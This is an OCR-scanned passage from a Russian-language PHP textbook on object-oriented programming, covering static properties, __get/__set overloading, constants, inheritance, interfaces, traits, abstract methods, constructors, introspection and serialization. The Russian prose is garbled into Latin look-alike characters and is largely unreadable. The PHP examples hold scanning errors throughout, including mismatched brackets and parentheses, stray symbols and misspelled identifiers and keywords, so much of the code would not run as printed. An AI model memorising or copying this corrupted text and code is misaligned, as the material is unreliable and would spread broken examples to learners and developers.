class Person

protected $rowld = 0;
public $username = 'Kaxapiit BUauT Mens';
private $hidden = true;

}

B nonosinenue K cBoicTBaM ak3eMILisipoB o6bektoB, PHP nossossier Bam onpe-
NeJSATh CTaTMYECKHE CBOWCTBA, KOTOPblE MOTYT ObITb AOCTYMHBI MO CCBLJIKE
¢ uMeHeM KJjacca. Hampumep:
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class Person

{
static $global = 23;
}
$localCopy = Person::$global;

BHyTpu 3K3eMILIspa 00beKTa Klacca Bbl TaKKe MOXeTe 00pallaTbCs K CTaTH-
4eCKOMY CBOMCTBY C MCIIOJIb30BaHMEM KJIOYEBOTO CJIOBa self Hampumep: echo
self:$global.

Meperpy3ka

Cpasy obpatuTe, nmoxaayicra, BHUMaHHe, YTO TPAKTOBKA MOHSITHS «IIEPErPy3-
ka» B si3bike PHP oTsimuaercst oT ero TpakToBKM B APYTrUX si3biKax. Ileperpys-
ka B PHP o3nayaetr BO3MOXXHOCTB Ha JieTy “co3/aBaTh’ CBOMCTBA M METOABL. JTU
AMHAMMYECKHE CYIHOCTH 00pabaThIBAIOTCS C TOMOLIBIO “BOJILIEOHBIX” METOIOB,
KOTOPbIE MOXHO CO3/aTh B KJIaCCe /IS Pa3JIMYHbIX BU/IOB A€ACTBHH.

MeTO]lbI Neperpy3kyu BbI3bIBAIOTCA IIPDU BBaHMOﬂeﬁCTBHH C TEMHU CBOMCTBaMHU
WJIX METO/IaMH, KOTODbIE HE OblM 0OBbABJIEHB! MU HE BHU/IHbBI B Texymeﬁ obma-
CTH BUIHUMOCTH.

Tak, ecin CBOMCTBO He CylIeCTBYET B 0ObEKTE, HO B TO XK€ BPEMsI €CJIU 1151 00b-
€KTHOTO KJlacca OIpelesieHbl METONbl _ get() WJIM __setl] — MeTOABI Iiepe-
IPY3KH{, TO JaHHbIe METO/bl MO3BOJSIIOT MOJYUYUTh UM YCTAHOBUTb 3HAUEHUE
[LJISI 3TOTO CBOMCTBA.

Hanpumep, BaM HyX)XHO 0OBSIBUTH KJIAcC, MPEACTABISIOINN TaHHbIE, IOTyY€EH-
Hble U3 6a3bl JaHHBIX, HO Bbl HE XOTUTE MOJIY4aTh OOJIbIIINE 3HAYEHUST TaHHbIX,
Hanpumep, Takue kak BLOB?, ecin oy He OblIM siBHO 3amnpoiiedbl. OQHH U3
croco6OB pean30BaTh 3TO, KOHEYHO XK€, 3aKJII0YAETCSI B CO3[IaHMK METO/IOB, KO-
TOpble OYIyT YKTATh M 3aMUCHIBATh JAaHHbIE 110 Mepe HeobxoauMocTH. JIpyroi
METO/I - UCMI0JIb30BaTh METO/IbI I1epe3arpy3KHu :

class Person

{
public function __get($property)

{
if ($property === 'biography') {
$biography = “long text here...”; // nonyuaem ero w3 B

return $biography;

SBLOB (anrn. Binary Large OBject — pBov4HbIA 60NbLWOK 06LEKT) — MACCUB ABOUYHbLIX AAHHBIX.
B CYB/[ BLOB — cneumanbHbiii TN AaHHbIX, NPeaHa3HavYeHHbIi, B NepByto oyepeab, ANs XxpaHeHns
1M306paxeHunii, ayamo n Buaeo, a Takke KOMNUIMPOBAHHOrO NPOrPaMMHOIo Koaa.
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public function __set($property, $value)

{
if ($property === 'biography'} {
// nometuaem 3navenue 8 b1
}

}
06vaBneHne KOHCTaHT

[Tono6HO r106aMbHBIM KOHCTAHTaM, Ha3HAYEHHBIM C MOMOINBI0 (YHKIUH
define(), PHP npemocrap/isieT cnoco6 HasHaueHHs KOHCTAHT B Npejesax KJac-
ca. AHaJIOTMYHO CTaTMYECKUM CBOMCTBAM, AOCTYNl K KOHCTAHTaM MOXHO IOJIY-
YUThb HEMOCPEACTBEHHO Yepe3 KJIACC WJIM C UCIOJb30BaHUEM 3amucH self. Kak
TOJIbKO KOHCTAHTa OIpe/ieJieHa, ee 3HaYeHHe HeIb3s1 U3BMEHSTh!

class PaymentMethod

const TYPE_CREDITCARD = 0;
const TYPE_CASH = 1;

}

echo PaymentMethod::TYPE_CREDITCARD;
0

Kak u ¢ rino6anbHbIMU KOHCTAaHTAMH, €CTb O6Hla${ NPpAaKTUKa OIPEAEJATb KOH-
CTaHTBI KJIaCCa B BEDXHEM DETrUCTPE CUMBOJIOB.

Hacneposanuue

Jl1 HacienoBaHusI CBOMCTB M METOIOB IPYTOr0 KJIacca UCIOJIb3YiiTe KJII0YEBOE CJI0-
BO keyword B OIpe/IeJIEHUH KJIacca C MOCJIeYIOINM YKa3aHHeMm 6a30BOro Kiacca:

class Person

public $name, $address, $age;
}

class Employee extends Person

public $position, $salary;
}

Krnacc Employee cOmepXUT cBOWCTBA $posiion U $salar, a Takke CBOHCTBA
$name, $address U $age, KOTOpBIE OBLIM HACJIEOBAHBI U3 KJ1acca Person.

Ecnu y npou3BogHOrO KJ1acca ecTb CBOMCTBO MJIM METOJ C TeM JKe UMEeHeM, KaK
B POIUTEIBCKOM KJIacce, TpUOpUTET OyeT y CBOCTBa/METO/Ia B IPOM3BOAHOM
KJ1acce (TO eCTb JIOKAJIbHOE UMeeT NPHOPUTET Hax ri1obanibHbiM). [Ipu noctyne
K CBOIcTBY OyJeT BO3BpallleHO 3HaUYeHHe CBOMCTBA JOUEPHETO KJ1acca, a IPH Bbl-
30Be MeTo/a OyeT BbI3BaH METO/] U3 I0YEPHETO METO/IA.
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LI'I'O6bl HCIIOJIb30BaTb METOAbl POAUTEJIBCKOIO KJjlacca, HCHOJIb3yI>iTe 3aIllUChb
parent:method():

parent::birthday(); // sm3biBaeT meton birthday() us poautensckoro knacca

Yacroii olumnbKO# ABIAETCA YKa3aHUE UMEHH POAUTEIbCKOrO KJIacca MpH BbI30-
Be METO/IOB:

Creature::birthday();  // xoraa Creature - 310 poauTensckui knacc

ITO IJI0XO0, TIOTOMY YTO MM# KJIacca PaclpoCTPaHSIETCs MO BCEMY POM3BOIHO-
My kiaccy. [Ipu uaMeHeHMH pOAUTENBCKOrO Kjacca MpUIETCS NepenuchiBaTh
BECb KOJ J04YepHero kjacca. [Ipy HMCIOJb30BaHMM parent: OyAET HCIOJB3O-
BaH POJUTEIbCKUHN KJIacC, yKa3aHHbBIU B extends.

Ecsi1 Hy>XHO BBI3BaTh METOJI JOUEPHETO KJIACCa M Bbl XOTUTE YOEAUTHCS, YTO BbI
BbI3bIBAa€TE METO/I U3 TEKYILIErO KJIacca, UCMOJIb3yHTe 3aIHUCh self:metod():

self::birthday(); // sm3msaem metop birthday() storo knacca

Jlns npoBepKH, IBJISIETCS JIM 0OBEKT 3K3EMILISIPOM TOTO MJIM HHOTO KJlacca WiK
peasn3yeT JIM OH olpefeeHHbIN nHTEpdeiic (cM. pasaen “MHTtepdelich”), BbI
MOX€eTe UCII0JIb30BaTh ONEPATOP instanceof:

if ($object instanceof Animal) {

// caenats 4to-Hnbyas

}
Wntepdeitchl

WuTepdeiic npeacrapiseT coboi cpeacTBO ONMUCAHUA KOHTPAKTa, KOTOPbIi PH-
3BaH obecrneynBaTh TOT UM HHOH Kaacc. [To cBoeit cyTH, uHTepdeiic — 3To ume-
HOBaHHBII Habop MeTon0B. TOT WJIM MHOM KJlacc MPHU3BaH pealu30BbIBATH 3a-
JOaHHbII MHTepdelic, TO ecTh coaepxkKaTh KOHKPETHYIO II0C/I€10BATENIbHOCTD J1€ii-
CTBUH 10 peajM3allMK TOTO MJIM MHOTO MeToja uHTepdeiica. B caMoM e uHTEp-
(eiice naHHas peanu3alus He 33/1a€TCs1, 2 YKA3bIBAIOTCS TOJbKO MMEHA METOJIOB,
UX NEPEMEHHbIE U T.I., TO €CTh CUTHATypbl MeTON0OB. HeckosbKO KJ1accoB Mo-
I'yT [0 Pa3HOMY PeaJM30BbIBATb OJMH U TOT e uHTepdeiic. Hanpumep, uutep-
deiic neyatn MoxeT ObITh 10 Pa3HOMY PeaM30BaH KJIACCOM JIa3ePHOTO IIPUHTE-
pa ¥ KJaccoM ¢aitioBoro npuHTEpA.

PaccMoTpuM cuHTaKkcuc onpeneseHust iHTepdeica:

interface interfacename

{

[ function functionname();
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Jlns oObsiBieHUsT Kjacca, peanusyiouero uHtepdeic, HYXKHO HCIOJb30BaTh
KJTIOYEBOE CJIOBO implements, MOCJ€ KOTOPOTO HYXHO YKas3aTh Ji000e 4YUCIIO
uHTepdeNcoB, pa3ieseHHbIX 3aNSIThIMHU:

interface Printable

{
}

function printOutput(};

class ImageComponent implements Printable

{
function printOutput()

{
}

echo “Mevaraem sobpaxetme...”;

}

Murepdeiic MOXHO HacJaen0BaTh OT APYruX UHTEPGERCOB (B TOM YUCIE OT He-
CKOJbKUX uHTepdeicoB cpa3y), TaK Xke KaK M KJIacChl, C TIOMOILbIO orepaTopa
extends.

Tpe#ithl

TpeiTbl (traits) - 3To MexaHW3M obecrieyeHHsi TOBTOPHOTO HMCIOJb30BaHHS
KO/1a, KOTOPBIH 1103BOJISIET HE UCII0JIb30BaTh HepapXuH KaaccoB. To ecTb B 06bI4-
HOH cUTyalnH, yToObI KO OHOTO Kj1acca OblJ «BCTaBJI€H» B APYTOii KJacc, BaM
HY>KHO BTOPO# KJacc yHacJieioBaTh oT neporo. [lonyyaercst uepapxus co Bce-
MH BBITEKAOUIUMHU ee 0COOeHHOCTSIMUA. TpelThbl MO3BOJIAIOT BaM peairu30BaTh
MOBTOPHOE UCMOJIb30BaHHE OTHON U TON ke GYHKIMOHATBHOCTH B HECKOJIBKUX
Pa3HbIX KJIaccax, y KOTOPbIX HET 00l1ero npeaka B uepapxuu KaaccoB. TpeiiTo
MO3BOJISIIOT PEAIM30BaTh TOPU3OHTANBHYIO KOMIIO3HUIIHIO MTOBeAeHUS (MepapXusi
ABJISIETCS] BEPTUKAJIbHOM KOMIO3UIMe ). PaccMOTpUM CHHTaKcHC onpeaeseHust
TpeuTa:
trait fraitname [ extends baseclass ]

{
[ use traitname, [ traitname, ... ]; ]
[ visibility $property [ = value J; ... ]
[ function functionname (args) {

// xom
}

}

YT10o6bl 0OBSIBUTH, YTO KJIACC JOJIKEH BKJIIOYATh METO/bl TPEWUTA, UCIIOJIb3YiiTe
ciyxebHoe CIOBO use, TOCJE KOTOPOrO HYXKHO yKa3aTb Jil060€e YUCJIO TPEHTOB,
pa3ziesIeHHbIX 3aNsThIMU:
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trait Logger

(
public function log($logString)

{
$className = __CLASS__;
echo date(«Y-m-d h:i:s», time()) . «: [{$className}] { $logString) »;

}

class User

{

use Logger;
public $name;

function __construct($name = ')

{
$this->name = $name;
$this->log(«Cosnan nonbaosarens '{ $this->name}");

}

function __toString()

{
}

return $this->name;

}

class UserGroup .

{
use Logger;
public $users = array();

public addUser(User $user)
{
if (I$this->includesUser($user)) {
$this->users[] = $user;
$this->log(“Mons3sosarens ' $user)' nobasnen & rpynny”);

}

$group = new UserGroup;
$group->addUser(new User(“Franklin”));

BriBon:

2019-03-09 07:12:58: [User] Co3aaaw nonsaosarens 'Franklin’
2019-03-09 07:12:58: [UserGroup] Monsbaosatens 'Franklin' ao6asnex s rpynny
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Mertoasl, onpezneneHHble B TpelTe logger, ZOCTYIHBI 3K3eMILIsIpaM KJjacca
UserGroup, TaK e, Kak OyATO OHM OIpe/ieJieHbl B CAMOM KJIacce.

Co3znaBaTh CaMOCTOSITENIBHBIE IK3EMILISIPBI TPEMTOB HEBO3MOXKHO. TPENTBI MO-
TYT ObITh COCTABJIEHBI M3 IPYTUX TPEUTOB BKJIIOYEHHEM ONEPATOpa use B 00BSIB-
JieHue TpeiTa (110CI€e use CJIEAYET CIIMCOK UMEH TPEHTOB, Pa3/leJIeHHbIX 3aIIAThI-
MH), KaK II0Ka3aHO 3/1eCh:

trait First

public function doFirst()

{

echo “firsf\n”;

}

trait Second

{

public function doSecond|()

{

echo “second\n”;

}

trait Third
{

use First, Second;
public function doAll()
[

$this->doFirst();
$this->doSecond();

}

class Combined

{
}

use Third;

$object = new Combined;
$object->doAll();

BriBoz:

first
second

TpeiiTbl MOTYT OOBSIBIISATH AOCTPAKTHbIE METOIBI.
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Ecnu k1acc ucnosib3yeT HECKOJIBKO TPEMTOB, ONPEAESIONINX OUH U TOT XK€ Me-
toz, Bel nostyyute or PHP “npuBer” B Buze datanbHoit omnbku. OmHaKo, Bbl
MOXeTe [ePeoIpe/IeIMTh 3TO NOBeIEHUE, YKa3aB KOMITUJISITOPY, KaKyIo peain3a-
I[MIO JaHHOTO MEeTO/Ia BbI XOTUTE MCII0Ib30BaTh. [JI51 3TOr0 UCIIOIb3yHTe KIII0ye-
BOE CJIOBO insteadof 7151 KaX/10r0 KOH(IMKTA:

trait Command

{

function run()

{

echo "Executing a command\n";

}
trait Marathon

function run()

{

echo “3anyckaem mapador\n”;

}

class Person

(

use Command, Marathon {
Marathon::run insteadof Command;

}

$person = new Person;
$person->run();

BriBon:
3anyckaem mapadoH

BmecTo Toro utoGsl BhIOMpATh BCETO OAMH METO/, Bbl MOXETE HCIIOIb30BATh
KJIIOYEeBOE CJIOBO as /ISl CO3J]aHMUs TICEBJIOHMMA MeTo/a TpeiTa ¢ ApYyTruM 1Me-
HeM. Bbl Bce ellie J0/KHBI IBHO pa3pewiaTh J10Oble KOHGINKTBI BO BKJIIOYEHHBIX
tpedtax. Harmpumep:

trait Command

function run()

(

echo “BuinonHsem komaHay”;
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trait Marathon

function run()

{
}

echo "3anyckaem mapadoH”;

}

class Person

{

use Command, Marathon {
Command::run as runCommand;
Marathon::run insteadof Command;

}
}

$person = new Person;
$person->run();
$person->runCommand();

BriBox:

3anyckaem mapadon
BeinonHaem komanay

AGCTpaKTHblE METOABI

PHP Takxe nmpeaocTaBisieT MEXaHU3M ISl OObSIBJIEHUS] TOTO, YTO OMPEAESIEH-
Hble METO/Ibl KJIacca JOJDKHBI ObITh PeaJn30BaHbl MoaKIaccaMu. Peanuzanus
3THUX METOZIOB HE OIpeeJieHa B POJUTEIbCKOM KJIAcCe, a OHH OIpeieJieHbl KaK
abcrpakTHble. [IpenenbHbIM 3HaUEHHEM SIBJISIETCST MHTEP(ENC, KOTOPBIH 110 CBO-
eif cyTH siBysieTcst abCTPAKTHBIM KJIaCCOM, COZlePKalllMM abCTPaKTHOE OIpezesie-
HUE METO/IOB.

Korza B kakoM-1u60 mojaksiacce Bbl peanu3yere o0ObsiBI€HHbIA abCTPaKTHbII
METO/, TO IIPUHSITO TOBOPUTh, YTO B ITHX CJyYasix Bbl obecrneunBaete abCTpakT-
Hblit Metox. Ecan y knacca ectb kakue-1ub0 MeTOAbI, ONpeneseHHble Kak ab-
CTPaKTHbIE, Bbl IOJDKHBI OOBSIBUTh KJIACC KaK aOCTPAKTHBIM.

abstract class Component

{
}

abstract function printOutput();

class ImageComponent extends Component

{
function printOutput()

{

echo "Pretty picture”;



..............

AGCTpaKTHBIE KJIACChI HEJb3sl MHCTAaHLIMMPOBATh, TO €CTh Y abCTPAKTHOrO KJac-
ca He MOXeT ObITb 3k3eMILIAPOB (06beKTOB). TaKk)Ke OTMETHTE, YTO B OTJIHYHUE OT
HEKOTOPbIX A3bIKOB, Bbl HE MOXETe MPEJOCTaBUTh PEATH3ALHUIO 10 YMOTYAHHUIO
17151 abCTPaKTHBI METOZIOB.

TpeitThl Takxe MOTyT 00bsABUTb abCTpakTHBIE MeToAbl. Kiacchl, cogepxarine
TPEUT ¢ abCTPAKTHBIM METOJOM, JOJKHBI PEaTM30BaTh 3TOT METOL!

trait Sortable
{

abstract function uniqueld();

function compareByld($obiject)

{

return ($object->uniqueld() < $this->uniqueld()) 2-1:1;

)

class Bird

{
use Sortable;
function uniqueld()

{
return __CLASS__ . «:{ $this->id}»;

class Car

{
}

// daransHas ownbka

$bird = new Bird;

$car = new Car;

$comparison = $bird->compareByld($card);

use Sortable;

IIpu peannsaunu abCTpaKTHOrO METOZA B I0YEPHEM KJIacCe, CUTHATYPbl METO-
108 (Habop mapamMeTpoB, BO3BpAlLaeMblil THUIT) JAOJIXKHBI COOTBETCTBOBATb APYT
APYTY — TO €CTh OHH JI0JKHBI IPUHUMATh OIMHAKOBOE YUCJIO TpeOyeMbIx mapa-
METPOB U €CJIU Y KAKOT0-TO IapaMeTpa eCTb KOHTPOJIb TUIA, TAKOI )Ke KOHTPOJIb
THUIA J0JKEH ObITh y MapaMeTpa COOTBETCTBYOLIero Metoaa. Kpome toro, y 1o-
YepHEero MeTo/ia J0JXKHa ObITh Ta XKe WX MeHee OrPpaHUYeHHasi BUAMMOCTb YTO
¥ y METOZIa POAUTENILCKOTO KJIacca.

Kouctpyxropbi

IIpy co3manuu o6beKTa Bbl MOXKETE YKa3aTh CIIMCOK apTyMEHTOB:

$person = new Person("®pen”, 35);
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ITH apryMeHTsl OyayT mepegaHbl KOHCTPYKTOPY KJacca, CrenuanibHON (PyHK-
I[MH, KOTOpasi ”YHUIIMAJIM3UPYET CBOMCTBA KJacca.

KoHcTpykTOp — 3TO yHKIUMS, ONpesieJieHHast B KJIacCeE C MMEHEM __construct().
PaccMOTpHUM KOHCTPYKTOP KJlacca Person:

class Person

{
function __construct($name, $age)
{
$this->name = $name;
$this->age = $age;
}
}

PHP He npenycMaTpiBaeT aBTOMaTHYECKYIO L[EMIOYKY BBI30BOB KOHCTPYKTODOB,
TO €CTb eCJIM BBl CO3/IaeTe 0OBEKT MPOM3BOAHOTO Kiacca, GyleT BBI3BaH TOMb-
KO KOHCTPYKTOD IPOU3BOAHOTrO Kjacca. Eciu Bbl XOTHTE BbI3BaTh KOHCTPYKTOD
POAUTEJBCKOrO KJIacCa, KOHCTPYKTOP B MPOM3BOHOM KJlacce J0JIKEH SIBHO BbI-
3BaTh KOHCTPYKTOP POAUTEJBCKOrO Kjacca. B 3ToM npuMepe KOHCTPYKTOP KJiac-
ca Employee BbI3bIBAa€T KOHCTPYKTOP KJIacca Person:

class Person

{
public $name, $address, $age;

function __construct($name, $address, $age)

{

$this->name = $name;
$this->address = $address;
$this->age = $age;

}

class Employee extends Person

{
public $position, $salary;
function __construct($name, $address, $age, $position, $salary)-

{

parent::__construct{$name, $address, $age);
$this->position = $position;
$this->salary = $salary;

}
Aectpyxrophi

ITpu pa3pymennun o6bekTa (HanpuMep, KOra yAajsieTcst OCIeIHsIs CChLIKA Ha
006bEKT WM KOT/ZIa JOCTUTAETCS KOHEIl CLIeHapHs1 ) BHI3BIBAETCSI €T0 decmpyxmop.
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[Tockonbky PHP cam aBTOMaTHYecKH OYMILAET BCE PECYPCHI MPU 3aBePILIEHUH
ClleHapHsl, 1eCTPYKTOPBI PUMEHSIIOTCS He oYeHb yacTo. [lecTpykrop — 3aTto Me-
TOJ C UM€eHeM __destruct():

class Building

{

function __destruct()

{

echo “3panve paspywenol”;

6.5. UnTpocnexkuyma

WHTpocnekiusi — 3T0 CocoOOHOCTb MPOrpaMMbl OTIPEEATb M MPOBEPATD Xa-
PaKTEPUCTHKH 00bEKTA, TAKHE KaK UMsl, POJIMTEIbCKUI K1acc (eCJIH eCTh), CBOI-
cTBa ¥ MeToibl. C MOMOIIbIO MHTPOCTIEKLIMH Bbl MOXKETE HAIMMCATh KOJI, KOTOPbIH
cMoxeT paboTaTb ¢ JI0ObIMHU KJlaccaMu Wi obbekTaMu. [1py HanucaHuu Baiie-
ro KoJa BaM He HY>KHO 3HaTb, KAKHe METOJIbl UJIM CBOHCTBA OINpe/eseHbl B TOM
WJIM U HOM KCII0JIb3yeMOM KJiacce. BMecTo aToro Bbl MoXeTe MOJy4YUTb 3TY MH-
(opmalMio Bo BpeMsi BBITOJHEHUS, YTO JleIaeT BO3MOXXHBIM HallMCAHUE OTJIa/l-
YMKOB KOJla, CEPUaIN3aTopoB, npodaiiiepoB U T.0. B aToM pasaene Mbl nocMo-
TPHUM, KaK MHTpOCHeKLIUsl peann3oBaHa B PHP.

UccnepoBaHue knaccos

Yro6bl OMpenesnTb, KaKkue KJACChl CYIIECTBYIOT, HCIOJb3yiTe (YHKIMIO
class_exists(), KOTOpas TpPUHMMaeT CTPOKY M BO3BpallaeT JIOTMYECKOEe 3Ha-
yeHHe. AJIbTEDHATUBHO BBl MOJXETe HCNOJIb30BaTh (GYHKUMIO get_declared_
classes(), BO3Bpall[alOLIYI0 MacCHB OMNpEEJIEHHBIX KJIAaCCOB M IPOBEPSIOLIYIO,
€CTb JIM UMS1 KJIacCa B pe3yJIbTUPYIOLIEM MacCHBe:

$doesClassExist = class_exists(classname);
$classes = get_declared_classes|();
$doesClassExist = in_array(classname, $classes);

[TosyuynuTs MeTONBI M CBOWCTBA, ONpe/esieHHble B KJjacce (BKJIOYasi Te, KOTO-
pble HacJIeflyeTCsl OT CYNMEPKJIACCOB), MOXHO C TOMOLUIbIO (DYHKLMI get_class_
method() U get_class_vars(). DTH (PYHKUMM TPUHUMAIOT HMMs Kjacca M BO3-
BpaUlalOT MaCCHUB:

$methods = get_class_methods(classname);
$properties = get_class_vars(classname);

Nms kmacca MOXHO Nnepenarb Kak NMpoCcTo€e CJI0BO, KaK CTPOKY B KaBblYKaX WUJIH
KaK IIEPEMEHHYIO, COAEPKalllyl0o UMs KJjlaCcCa:
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$class = "Person”;

$methods = get_class_methods($class);

$methods = get_class_methods(Person); // o xe camoe
$methods = get_class_methods(“Person”); // to xe camoe

MaccuB, Bo3Bpauiaembiii (YHKIHEN get_class_methods() — MPOCTO#l cHUCOK
MMeH MeTOJOB. ACCOUMAaTUBHBIH MacCHUB, BO3BpallaeMblii get_class_ vars()
OTpaXkaeT UMeHa CBOMCTB B 3HaUYEHHUS U TaKXXe COAEpPXKHUT Hacjeryemble CBOH-
CTBa.

Onana u3 ocobeHHOCTEH get_class_vars() COCTOMT B TOM, YTO OHa BO3Bpalla-
€T TOJIbKO CBOMCTBA, KOTOPble UMEIOT 3HAYEHHSI TI0 YMOJIYAHUIO U BUAUMBI B Te-
Kylei 061acTH; HET HUKAKOrO APYroro crocoba oOHapyXUTb HEMHULIMATIU3U-
pOBaHHbIEe CBONCTBA.

Wcnonb3yiite  GYHKUMIO get_parent_class(), 4TOObI HAMTH POAMTEIbCKHIA
KJ1acc:

$superclass = get_parent_class(classname);

B mpumepe 6.1 wucrmonb3yercs GyHKUMsS display_classes(), oToOpaxarouas
Bce 0ObABJIEHHbIE B JaHHBI MOMEHT KJIACChl, X METO/bI U CBOMCTBA.

Npumep 6.1. OToBpaxeHue BCex ONPEAENEHHBIX KNAaCCOB

function displayClasses()

{

$classes = get_declared_classes|();

foreach ($classes as $class) {
echo "Showing information about { $class}<br />";
echo “Class methods:<br />";

$methods = get_class_methods($class);

if (Icount($methods)) {
echo "<i>None</i><br />";

)

else {
foreach ($methods as $method) {
echo “<b>{ $method }</b>()<br />";
}

echo "Class properties:<br />";

$properties = get_class_vars($class);
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..............

if (Icount($ properties)) {
echo “<i>None</i><br />";
}
else {
foreach(array_keys($properties) as $property) {
echo “"<b>\${$property}</b><br />*;
}
}

echo “<hr />";
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WUccnenosanue obvekTa

Yro6bl MOMYYUTH KJIACC, K KOTOPOMY MPHHAMJIEKUT 0OBEKT, CHavanta yoenu-
TECb, YTO MepeJaBaeMblil MapaMeTp SABJSETCS OOBEKTOM C MOMOLIbI0 (hYHKIIUN
is_object(), a 3aTeM mosyuuTe Kjaacc GyHKIHeN get_class():

$isObject = is_object(var);
$classname = get_class(object);

Ilepen BbI30BOM MeTOna 0ObEKTA BaM HY3KHO YOEIUTHCS, UTO OH CYLIECTBYET, UC-
noJib3ys1 PYHKIHUIO method_exists():

$methodExists = method_exists(object, method);
BbIBOB HEOIPENETIEHHOIO METO1a ITPHUBEZET K OI.UI/I6KE HUCITOJITHEHUS].

ITomo6HO  get_class_vars(), KOTOpasi BO3BpallaeT CBOICTBa KJjacca, get_
object_vars() BO3BpalllaeT MaCCUB CBOMCTB, YCTAHOBJEHHBIX B OObEKTE:

$array = get_object_vars(obiject);

Kak u get_class_vars(), (yHKUIUST get_object_vars() BO3BpallaeT TOJbKO
yCTaHOBJIEHHbIE CBOMCTBA:

class Person

{
public $name;
public $age;
}
$fred = new Person;
$fred->name = “Ppen”;
$props = get_object_vars($fred);  // array('name’ => “@pen”, 'age' => NULL);

(Dym(unﬂ get_parent_class() NPUHUMAET UM obbeKTa HJAM UMs  KJacca.
OHa Bo3BpalaeT UMSI POJUTETBCKOTO KJjacca Uau FALSE, ecid HET POAUTENb-
CKOTO KJjacca:

class A {}
class B extends A {}
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$obj = new B;
echo get_parent_class($obj);
echo get_parent_class(B);

BeiBox;
AA

Mpumep MHTpOCNEKUUK

[Tpumep 6.2 mokaspiBaeT B aeiicTBIM GYHKIMH, oToOpaxaroire HHGOPMAIHIO 0
CBOICTBax ¥ MeTOAaX 00BEKTA, a TAKKE IePEBO HAC/IEIOBAHUS.

Mpumep 6.2. Oynkuun uaTpocnexuumn obvekra

// BO3BPALLOET MOCCUB METOROB, BKAIOYAS HOCNEAYEMBIE METOAbI
function getCallableMethods($object)

{
$methods = get_class_methods(get_class($object));
if (get_parent_class($object)) {
$parent_methods = get_class_methods(get_parent_class($object));
$methods = array_diff($ methods, $parent_methods);
}
return $methods;
}

// BO3BPALIGEM MACCHB HOCNEAYEMBIX METOAO0B
function getinheritedMethods($object)

{
$methods = get_class_methods(get_class($object));
if (get_parent_class($object)) {
$parentMethods = get_class_methods(get_parent_class($object));
$methods = array_intersect($methods, $parentMethods);
}
return $methods;
)

// BO3BpaWQET MACCHB Cynepknaccos

function getlineage($object)

{

if (get_parent_class($object)) {

$parent = get_parent_class($object);
$parentObject = new $parent;
$lineage = getlineoge($parentObiject);
$lineage(] = get_class($object);
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else {
$lineage = array(get_class($object));

)

return $lineage;

}

// BO3BpALIGET MOCCHB NOAKNACCOB
function getChildClasses($obiject)
(

$classes = get_declared_classes();
$children = array();

foreach ($classes as $class) {
if (substr($class, 0, 2) =="'_") {
continue;
}
$child = new $class;
if (get_parent_class($child) == get_class($object)) {
$children[] = $class;
}
}

}

// otobpaxaem undopmauuio o6 obvekre
function printObjectinfo($obiject)
(
$class = get_class($object);
echo “<h2>Knacc</h2>";
echo “<p>{$class}</p>";
echo “<h2>Hacnenosanme</h2>";
echo “<h3>Pogutenu</h3>";

$lineage = getlineage($object);
array_pop|($lineage);

if (count($lineage) > O) {
eChO n<p>u . ioin(" _&g" n, $|ineage) X ”</p>”,'

else {
echo “<i>Orcytcteyior</i>";

}

echo “<h3>[et</h3>";
$children = getChildClasses($obiject);
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echo M<p>u;

if (count($children) > 0) {
echo join(', !, $children);
}
else {
echo “<i>Orcyrcreyior</i>";

}
echo M</p>u;

echo "<h2>Methods</h2>";

$methods = getCallableMethods($class);
$object_methods = get_methods($object);
if (Icount($methods)) {

echo "<i>Orcytctayior</i><br />;

}
else {
echo ‘<p>Hacneayemsie meTops! Beigenens <i>kypcusom</i>.</p>’;
foreach($methods as $method) {
if (in_array($method, $object_methods)) {
echo “<b>{$method}</b>();<br />";
}
else {
echo “<i>{$method}</i>();<br />";
}
)
}

echo “<h2>Csoitctea</h2>";
$properties = get_class_vars($class);

if (Icount{$properties)) {
echo "<i>Orcytctsytor</i><br />";
}
else {
foreach(array_keys($properties) as $property) {
echo "<b>\${ $property}</b>=". $object->$property . “<br />";
}
]

echo "<hr />;

}

Teneppb paccMOTpUM Haluly Nporpammy B JeHCTBUM Ha NMPUMeEpPe C HEKOTOPBIMHU
J€MOHCTPAIIMOHHBIMH KJIacCaMH M 0ObeKTaMu:
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class A

{
public $foo = "foo”;
public $bar = “bar”;
public $baz=17.0;

function firstFunction()

{
}

function secondFunction()
{
}

)

class B extends A

{
public $quux = false;

function thirdFunction()
{
}

]

class C extends B
{
}

$a=newA;
$a->foo = “sylvie”;
$a->bar = 23;

$b = new B;
$b->foo = “bruno”;
$b->quux = irve;
$c=newC;

printObjectinfo($a);
printObjectinfo($b);
printObjectinfo($c);

6.6. Cepnanusaums

Cepuanuzauusi o6beKTa 03HaYaeT ero KOHBEPTUPOBAHHUE B NPE/ICTABJIEHUE T10-
ToKa 6aiiToB (CTPOKOBOE TpEACTaBJIEHHE), KOTOPOE MOXET ObITb COXPAHEHO
B (ailye. ITO 1MOJIE3HO [JIs1 NEPCUCTEHTHBIX AaHHBIXS, Hanpumep, ceccun PHP

8 MepcUCTEHTHBLIE CTPYKTYPbI A@HHbIX - 3TO Takue CTPYKTYpPbl AaHHbLIX, KOraa npu ntlo6oM uameHe-
HWUM Y HAC OCcTaeTcs AOCTYM K NPeAbIAYLLMM BEPCUAM 3TOM CTPYKTYPbI.
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aBTOMAaTUYECKU COXPAHSIOT M BOCCTAHABJMBAIOT 0OBbeKThL. Cepuanusanus B
PHP npaktuyecku aBTOMaTU4eCKasi — OT Bac OHa TpeGyeT coBceM HeMHOro. Bam
HY>KHO JIMLIb BBI3BATh (DYHKIIUHU serialize() 1 unserialise():

$encoded = serialize(something);
$something = unserialize(encoded);

Cepuanusauus yaile Bcero ucnosb3yercs: ceccussmMu PHP. Bee, uto BaM HyX-
HO czenaTh - cka3atb PHP, kakuie mepeMeHHbI€ Bbl XOTUTE OTCJIEXUBATh U OHU
OyIyT aBTOMAaTUYECKH COXPAHSTBCS y T0Jb30BaTE sl MEX/Y BU3UTAMU Ha CTpa-
HUI[BI Ballero caiita. B To >xe BpeMsi, cepuaiu3alys UCMOJb3YeTCs] HE TOJBKO
B PaMKax CECCHH, U eCJIM Bbl 3aXOTUTE PEATU30BaTh CBOIO COOCTBEHHYIO CTPYK-
TYPY TEPCUCTEHTHBIX OOBEKTOB, Bbl MOXXETE CaMOCTOSATENBHO MCIIOJIb30BaTh
serialize() 1 unserialize().

Knacc o6bexTa 10smKeH O6bITh ONpeesieH nepes ero aecepuanusaiuei. [lonbiTka
JlecepUan30BaTh 0GBEKT, KJIACC KOTOPOTO ellle He OIpe/esieH, TOMECTUT OObEKT
